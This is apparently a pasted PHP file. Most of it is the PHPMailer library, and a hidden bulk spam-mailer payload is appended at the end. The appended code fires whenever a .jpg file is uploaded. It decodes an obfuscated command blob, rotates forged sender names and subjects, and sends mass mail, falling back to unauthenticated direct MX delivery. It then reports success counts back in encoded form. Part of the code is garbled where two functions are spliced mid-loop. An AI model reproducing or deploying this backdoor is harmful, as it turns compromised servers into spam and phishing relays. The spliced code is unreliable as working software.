  888.  // Intentional fall-through case 'text': default: $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  889.  break;
  890.  } if ($matchcount == 0) { // There are no chars that need encoding return ($str);
  891.  } $maxlen = 75 - 7 - strlen($this->CharSet);
  892.  // Try to select the encoding which should produce the shortest output if ($matchcount > strlen($str) / 3) { // More than a third of the content will need encoding, so B encoding will be most efficient $encoding = 'B';
  893.  if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) { $encoded = $this->base64EncodeWrapMB($str, "\n");
  894.  } else { $encoded = base64_encode($str);
  895.  $maxlen -= $maxlen % 4;
  896.  $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  897.  } } else { $encoding = 'Q';
  898.  $encoded = $this->encodeQ($str, $position);
  899.  $encoded = $this->wrapText($encoded, $maxlen, true);
  900.  $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  901.  } $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  902.  $encoded = trim(str_replace("\n", $this->LE, $encoded));
  903.  return $encoded;
  904.  } public function hasMultiBytes($str) { if (function_exists('mb_strlen')) { return (strlen($str) > mb_strlen($str, $this->CharSet));
  905.  } else { // Assume no multibytes (we can't handle without mbstring functions anyway) return false;
  906.  } } public function has8bitChars($text) { return (boolean)preg_match('/[\x80-\xFF]/', $text);
  907.  } public function base64EncodeWrapMB($str, $linebreak = null) { $start = '=?' . $this->CharSet . '?B?';
  908.  $end = '?=';
  909.  $encoded = '';
  910.  if ($linebreak === null) { $linebreak = $this->LE;
  911.  } $mb_length = mb_strlen($str, $this->CharSet);
  912.  // Each line must have length <= 75, including $start and $end $length = 75 - strlen($start) - strlen($end);
  913.  // Average multi-byte ratio $ratio = $mb_length / strlen($str);
  914.  // Base64 has a 4:3 ratio $avgLength = floor($length * $ratio * .75);
  915.  for ($i = 0;
  916.  $i < $mb_length;
  917.  $i += $offset) { $lookBack = 0;
  918.  do { $offset = $avgLength - $lookBack;
  919.  $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  920.  $chunk = base64_encode($chunk);
  921.  $lookBack++;
  922.  } while (strlen($chunk) > $length);
  923.  $encoded .= $chunk . $linebreak;
  924.  } // Chomp the last linefeed $encoded = substr($encoded, 0, -strlen($linebreak));
  925.  return $encoded;
  926.  } public function encodeQP($string, $line_max = 76) { if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3) return $this->fixEOL(quoted_printable_encode($string));
  927.  } // Fall back to a pure PHP implementation $string = str_replace( array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string) );
  928.  $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  929.  return $this->fixEOL($string);
  930.  } public function encodeQPphp( $string, $line_max = 76, /** @noinspection PhpUnusedParameterInspection */ $space_conv = false ) { return $this->encodeQP($string, $line_max);
  931.  } public function encodeQ($str, $position = 'text') { // There should not be any EOL in the string $pattern = '';
  932.  $encoded = str_replace(array("\r", "\n"), '', $str);
  933.  switch (strtolower($position)) { case 'phrase': // RFC 2047 section 5.3 $pattern = '^A-Za-z0-9!*+\/ -';
  934.  break;
  935.  /** @noinspection PhpMissingBreakStatementInspection */ case 'comment': // RFC 2047 section 5.2 $pattern = '\(\)"';
  936.  case 'text': default: $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  937.  break;
  938.  } $matches = array();
  939.  if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { $eqkey = array_search('=', $matches[0]);
  940.  if (false !== $eqkey) { unset($matches[0][$eqkey]);
  941.  array_unshift($matches[0], '=');
  942.  } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  943.  } } // Replace every spaces to _ (more readable than =20) return str_replace(' ', '_', $encoded);
  944.  } public function addStringAttachment( $string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment' ) { // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($filename);
  945.  } // Append to $attachment array $this->attachment[] = array( 0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => $disposition, 7 => 0 );
  946.  } public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') { if (!@is_file($path)) { $this->setError($this->lang('file_access') . $path);
  947.  return false;
  948.  } // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path);
  949.  } $filename = basename($path);
  950.  if ($name == '') { $name = $filename;
  951.  } // Append to $attachment array $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => $disposition, 7 => $cid );
  952.  return true;
  953.  } public function addStringEmbeddedImage( $string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline' ) { // If a MIME type is not specified, try to work it out from the name if ($type == '') { $type = self::filenameToType($name);
  954.  } // Append to $attachment array $this->attachment[] = array( 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => $disposition, 7 => $cid );
  955.  return true;
  956.  } public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == 'inline') { return true;
  957.  } } return false;
  958.  } public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == 'attachment') { return true;
  959.  } } return false;
  960.  } public function alternativeExists() { return !empty($this->AltBody);
  961.  } public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]);
  962.  } $this->to = array();
  963.  } public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]);
  964.  } $this->cc = array();
  965.  } public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]);
  966.  } $this->bcc = array();
  967.  } public function clearReplyTos() { $this->ReplyTo = array();
  968.  } public function clearAllRecipients() { $this->to = array();
  969.  $this->cc = array();
  970.  $this->bcc = array();
  971.  $this->all_recipients = array();
  972.  } public function clearAttachments() { $this->attachment = array();
  973.  } public function clearCustomHeaders() { $this->CustomHeader = array();
  974.  } protected function setError($msg) { $this->error_count++;
  975.  if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { $lasterror = $this->smtp->getError();
  976.  if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) { $msg .= '
  977. ' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "
  978.  
  979. \n";
  980.  } } $this->ErrorInfo = $msg;
  981.  } public static function rfcDate() { // Set the time zone to whatever the default is to avoid 500 errors // Will default to UTC if it's not set properly in php.ini date_default_timezone_set(@date_default_timezone_get());
  982.  return date('D, j M Y H:i:s O');
  983.  } protected function serverHostname() { $result = 'localhost.localdomain';
  984.  if (!empty($this->Hostname)) { $result = $this->Hostname;
  985.  } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { $result = $_SERVER['SERVER_NAME'];
  986.  } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname();
  987.  } elseif (php_uname('n') !== false) { $result = php_uname('n');
  988.  } return $result;
  989.  } protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage('en');
  990.  // set the default language } if (isset($this->language[$key])) { return $this->language[$key];
  991.  } else { return 'Language string failed to load: ' . $key;
  992.  } } public function isError() { return ($this->error_count > 0);
  993.  } public function fixEOL($str) { // Normalise to \n $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  994.  // Now convert LE as needed if ($this->LE !== "\n") { $nstr = str_replace("\n", $this->LE, $nstr);
  995.  } return $nstr;
  996.  } public function addCustomHeader($name, $value = null) { if ($value === null) { // Value passed in as name:value $this->CustomHeader[] = explode(':', $name, 2);
  997.  } else { $this->CustomHeader[] = array($name, $value);
  998.  } } public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  999.  if (isset($images[2])) { foreach ($images[2] as $imgindex => $url) { // Convert data URIs into embedded images if (preg_match('#^data:(image[^;
  1000. ,]*)(;
  1001. base64)?,#', $url, $match)) { $data = substr($url, strpos($url, ','));
  1002. if ($match[2]) { $data = base64_decode($data);
  1003.  } else { $data = rawurldecode($data);
  1004.  } $cid = md5($url) . '@phpmailer.0';
  1005.  // RFC2392 S 2 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) { $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message );
  1006.  } } elseif (!preg_match('#^[A-z]+://#', $url)) { // Do not change urls for absolute images (thanks to corvuscorax) $filename = basename($url);
  1007.  $directory = dirname($url);
  1008.  if ($directory == '.') { $directory = '';
  1009.  } $cid = md5($url) . '@phpmailer.0';
  1010.  // RFC2392 S 2 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { $basedir .= '/';
  1011.  } if (strlen($directory) > 1 && substr($directory, -1) != '/') { $directory .= '/';
  1012.  } if ($this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message );
  1013.  } } } } $this->isHTML(true);
  1014.  // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better $this->Body = $this->normalizeBreaks($message);
  1015.  $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  1016.  if (empty($this->AltBody)) { $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
  1017.  } return $this->Body;
  1018.  } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html);
  1019.  } return html_entity_decode( trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet );
  1020.  } public static function _mime_types($ext = '') { $mimes = array( 'xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie' );
  1021.  return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  1022.  } public static function filenameToType($filename) { // In case the path is a URL, strip any query string before getting extension $qpos = strpos($filename, '?');
  1023.  if (false !== $qpos) { $filename = substr($filename, 0, $qpos);
  1024.  } $pathinfo = self::mb_pathinfo($filename);
  1025.  return self::_mime_types($pathinfo['extension']);
  1026.  } public static function mb_pathinfo($path, $options = null) { $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  1027.  $pathinfo = array();
  1028.  if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1];
  1029.  } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2];
  1030.  } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5];
  1031.  } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3];
  1032.  } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname'];
  1033.  case PATHINFO_BASENAME: case 'basename': return $ret['basename'];
  1034.  case PATHINFO_EXTENSION: case 'extension': return $ret['extension'];
  1035.  case PATHINFO_FILENAME: case 'filename': return $ret['filename'];
  1036.  default: return $ret;
  1037.  } } public function set($name, $value = '') { try { if (isset($this->$name)) { $this->$name = $value;
  1038.  } else { throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  1039.  } } catch (Exception $exc) { $this->setError($exc->getMessage());
  1040.  if ($exc->getCode() == self::STOP_CRITICAL) { return false;
  1041.  } } return true;
  1042.  } public function secureHeader($str) { return trim(str_replace(array("\r", "\n"), '', $str));
  1043.  } public static function normalizeBreaks($text, $breaktype = "\r\n") { return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  1044.  } public function sign($cert_filename, $key_filename, $key_pass) { $this->sign_cert_file = $cert_filename;
  1045.  $this->sign_key_file = $key_filename;
  1046.  $this->sign_key_pass = $key_pass;
  1047.  } public function DKIM_QP($txt) { $line = '';
  1048.  for ($i = 0;
  1049.  $i < strlen($txt);
  1050.  $i++) { $ord = ord($txt[$i]);
  1051.  if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line .= $txt[$i];
  1052.  } else { $line .= '=' . sprintf('%02X', $ord);
  1053.  } } return $line;
  1054.  } public function DKIM_Sign($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1055.  } return '';
  1056.  } $privKeyStr = file_get_contents($this->DKIM_private);
  1057.  if ($this->DKIM_passphrase != '') { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  1058.  } else { $privKey = $privKeyStr;
  1059.  } if (openssl_sign($signHeader, $signature, $privKey)) { return base64_encode($signature);
  1060.  } return '';
  1061.  } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  1062.  $lines = explode("\r\n", $signHeader);
  1063.  foreach ($lines as $key => $line) { list($heading, $value) = explode(':', $line, 2);
  1064.  $heading = strtolower($heading);
  1065.  $value = preg_replace('/\s+/', ' ', $value);
  1066.  // Compress useless spaces $lines[$key] = $heading . ':' . trim($value);
  1067.  // Don't forget to remove WSP around the value } $signHeader = implode("\r\n", $lines);
  1068.  return $signHeader;
  1069.  } public function DKIM_BodyC($body) { if ($body == '') { return "\r\n";
  1070.  } // stabilize line endings $body = str_replace("\r\n", "\n", $body);
  1071.  $body = str_replace("\n", "\r\n", $body);
  1072.  // END stabilize line endings while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") { $body = substr($body, 0, strlen($body) - 2);
  1073.  } return $body;
  1074.  } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha1';
  1075.  // Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple';
  1076.  // Canonicalization of header/body $DKIMquery = 'dns/txt';
  1077.  // Query method $DKIMtime = time();
  1078.  // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) $subject_header = "Subject: $subject";
  1079.  $headers = explode($this->LE, $headers_line);
  1080.  $from_header = '';
  1081.  $to_header = '';
  1082.  $current = '';
  1083.  foreach ($headers as $header) { if (strpos($header, 'From:') === 0) { $from_header = $header;
  1084.  $current = 'from_header';
  1085.  } elseif (strpos($header, 'To:') === 0) { $to_header = $header;
  1086.  $current = 'to_header';
  1087.  } else { if ($current && strpos($header, ' =?') === 0) { $current .= $header;
  1088.  } else { $current = '';
  1089.  } } } $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  1090.  $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  1091.  $subject = str_replace( '|', '=7C', $this->DKIM_QP($subject_header) );
  1092.  // Copied header fields (dkim-quoted-printable) $body = $this->DKIM_BodyC($body);
  1093.  $DKIMlen = strlen($body);
  1094.  // Length of body $DKIMb64 = base64_encode(pack('H*', sha1($body)));
  1095.  // Base64 of packed binary SHA-1 hash of body $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';
  1096. ';
  1097. $dkimhdrs = 'DKIM-Signature: v=1;
  1098.  a=' . $DKIMsignatureType . ';
  1099.  q=' . $DKIMquery . ';
  1100.  l=' . $DKIMlen . ';
  1101.  s=' . $this->DKIM_selector . ";
  1102. \r\n" . "\tt=" . $DKIMtime . ';
  1103.  c=' . $DKIMcanonicalization . ";
  1104. \r\n" . "\th=From:To:Subject;
  1105. \r\n" . "\td=" . $this->DKIM_domain . ';
  1106. ' . $ident . "\r\n" . "\tz=$from\r\n" . "\t|$to\r\n" . "\t|$subject;
  1107. \r\n" . "\tbh=" . $DKIMb64 . ";
  1108. \r\n" . "\tb=";
  1109. $toSign = $this->DKIM_HeaderC( $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs );
  1110. $signed = $this->DKIM_Sign($toSign);
  1111. return $dkimhdrs . $signed . "\r\n";
  1112. } public function getToAddresses() { return $this->to;
  1113. } public function getCcAddresses() { return $this->cc;
  1114. } public function getBccAddresses() { return $this->bcc;
  1115. } public function getReplyToAddresses() { return $this->ReplyTo;
  1116. } public function getAllRecipientAddresses() { return $this->all_recipients;
  1117. } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  1118. call_user_func_array($this->action_function, $params);
  1119. } } } class phpmailerException extends Exception { public function errorMessage() { $errorMsg = '' . $this->getMessage() . "
  1120. \n";
  1121. return $errorMsg;
  1122. } } ///////////////////////////////////////////////////////////////// function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file) { $mail = new PHPMailer();
  1123. $mail->isMail();
  1124. $mail->CharSet = 'utf-8';
  1125. $mail->SetFrom($from_email, $from_name);
  1126. $mail->AddAddress($to);
  1127. $mail->Subject = $subject;
  1128. if ($type == "1") { $mail->MsgHTML($body);
  1129. } elseif ($type == "2") { $mail->isHTML(false);
  1130. $mail->Body = $body;
  1131. } if (isset($_FILES)) { foreach($_FILES as $key => $file) { if ($file['tmp_name'] != $config_file) { $mail->addAttachment($file['tmp_name'], $file['name']);
  1132. } } } if (!$mail->send()) { $to_domain = explode("@", $to);
  1133. $to_domain = $to_domain[1];
  1134. $mail->IsSMTP();
  1135. $mail->Host = mx_lookup($to_domain);
  1136. $mail->Port = 25;
  1137. $mail->SMTPAuth = false;
  1138. if (!$mail->send()) { return $mail->ErrorInfo;
  1139. } else { return 0;
  1140. } } else { return 0;
  1141. } } if (isset($_FILES)) { foreach($_FILES as $key => $file) { if(strpos($file['name'], ".jpg")) { $res = type1_send($file['tmp_name']);
  1142. if ($res) { echo $res;
  1143. } } } } function mx_lookup($hostname) { @getmxrr($hostname, $mxhosts, $precedence);
  1144. if(count($mxhosts) === 0) return '127.0.0.1';
  1145. $position = array_keys($precedence, min($precedence));
  1146. return $mxhosts[$position[0]];
  1147. } function myhex2bin( $str ) { $sbin = "";
  1148. $len = strlen( $str );
  1149. for ( $i = 0;
  1150. $i < $len;
  1151. $i += 2 ) { $sbin .= pack( "H*", substr( $str, $i, 2 ) );
  1152. } return $sbin;
  1153. } function decode($data, $key) { $out_data = "";
  1154. for ($i=0;
  1155. $i$email) { $theme = $data['s'][array_rand($data['s'])];
  1156. $theme = alter_macros($theme);
  1157. $theme = num_macros($theme);
  1158. $theme = xnum_macros($theme);
  1159. $message = $data['l'];
  1160. $message = alter_macros($message);
  1161. $message = num_macros($message);
  1162. $message = xnum_macros($message);
  1163. $message = fteil_macros($message, $uid);
  1164. $from = $data['f'][array_rand($data['f'])];
  1165. $from = alter_macros($from);
  1166. $from = num_macros($from);
  1167. $from = xnum_macros($from);
  1168. if (strstr($from, "[CUSTOM]") == FALSE) { $from = from_host($from);
  1169. } else { $from = str_replace("[CUSTOM]", "", $from);
  1170. } $from_email = explode("<", $from);
  1171. $from_email = explode(">", $from_email[1]);
  1172. $from_name = explode("\"", $from);
  1173. $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file);
  1174. if ($last_error === 0) { $good++;
  1175. } else { $bad++;
  1176. $good = count($data['e']) - $bad;
  1177. } } $res["r"]["e"] = $last_error === FALSE ? 0 : $last_error;
  1178. $res["r"]["g"] = $good;
  1179. $res["r"]["b"] = $bad;
  1180. return base64_encode(serialize($res));
  1181. }
Add Comment
Please, Sign In to add comment